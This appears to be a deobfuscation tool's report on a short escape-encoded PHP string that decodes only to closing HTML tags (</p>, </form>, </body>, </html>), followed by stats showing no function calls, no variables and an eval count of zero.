"\x22\40\x2f\76\12\x3c\x2f\x70\76\12\x3c\57\x66\x6f\x72\155\x3e\12\x3c\57\142\157\x64\171\x3e\12\74\57\150\x74\155\154\76\xa";

Function Calls

None

Variables

None

Stats

MD5 eabcfdd79334f66b46172ea646fd7bb3
Eval Count 0
Decode Time 125 ms